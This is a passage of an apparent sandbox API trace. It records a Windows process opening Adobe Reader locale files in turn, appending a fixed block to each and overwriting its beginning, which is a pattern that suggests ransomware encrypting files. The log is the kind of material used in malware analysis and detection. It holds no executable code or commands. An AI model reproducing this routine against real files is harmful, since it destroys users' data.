lpOverlapped=0x0) returned 1 [0040.017] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8a00 [0040.017] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.018] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x8a00 [0040.018] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.018] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.018] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dadf38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dadf38*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.018] CloseHandle (hObject=0x1c4) returned 1 [0040.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Search.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\search.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.019] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.019] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x5c00 [0040.019] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.020] ReleaseMutex (hMutex=0x128) returned 1 [0040.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SVE", lpUsedDefaultChar=0x0) returned 10 [0040.020] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.021] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4c00 [0040.021] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.022] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4c00 [0040.022] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.023] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.023] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.023] CloseHandle (hObject=0x1c4) returned 1 [0040.023] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Annots.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\annots.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.023] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.023] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x75000 [0040.023] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.023] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.023] ReleaseMutex (hMutex=0x128) returned 1 [0040.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.023] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.TUR", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.TUR", lpUsedDefaultChar=0x0) returned 10 [0040.023] ReadFile (in: hFile=0x1c4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.025] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x74000 [0040.025] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.026] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x74000 [0040.027] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.027] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.027] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.027] CloseHandle (hObject=0x1c4) returned 1 [0040.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\PDDom.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\pddom.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.027] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.028] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2a00 [0040.028] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.028] ReleaseMutex (hMutex=0x128) returned 1 [0040.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.028] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.TUR", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.TUR", lpUsedDefaultChar=0x0) returned 9 [0040.028] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.029] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0040.029] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.030] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1a00 [0040.030] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.030] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.030] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.030] CloseHandle (hObject=0x1c4) returned 1 [0040.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Spelling.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\spelling.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x2800 [0040.031] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.031] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.031] ReleaseMutex (hMutex=0x128) returned 1 [0040.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.TUR", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.TUR", lpUsedDefaultChar=0x0) returned 12 [0040.031] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.033] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1800 [0040.033] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.034] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1800 [0040.034] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.034] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.034] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.034] CloseHandle (hObject=0x1c4) returned 1 [0040.034] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\DVA.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\dva.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.034] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.035] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4800 [0040.035] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.035] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.035] ReleaseMutex (hMutex=0x128) returned 1 [0040.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.035] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.UKR", cchWideChar=7, lpMultiByteStr=0x1e6aa44, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.UKR", lpUsedDefaultChar=0x0) returned 7 [0040.035] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.036] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3800 [0040.036] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.037] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3800 [0040.037] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.037] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.037] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.037] CloseHandle (hObject=0x1c4) returned 1 [0040.037] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Reflow.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\reflow.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.038] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.038] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1200 [0040.038] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.038] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.038] ReleaseMutex (hMutex=0x128) returned 1 [0040.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.038] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.UKR", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.UKR", lpUsedDefaultChar=0x0) returned 10 [0040.038] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0040.375] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0040.375] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0040.375] CloseHandle (hObject=0x1c4) returned 1 [0040.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Acroform.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\acroform.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.376] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.376] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3cc00 [0040.376] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.376] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.376] ReleaseMutex (hMutex=0x128) returned 1 [0040.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHS", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHS", lpUsedDefaultChar=0x0) returned 12 [0040.376] ReadFile (in: hFile=0x1c4, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.381] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3bc00 [0040.381] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.385] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3bc00 [0040.385] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.386] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.386] WriteFile (in: hFile=0x1c4, lpBuffer=0x2805cf8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.386] CloseHandle (hObject=0x1c4) returned 1 [0040.387] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\makeaccessible.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\makeaccessible.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.388] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.388] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9400 [0040.388] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.388] ReleaseMutex (hMutex=0x128) returned 1 [0040.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.CHS", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, 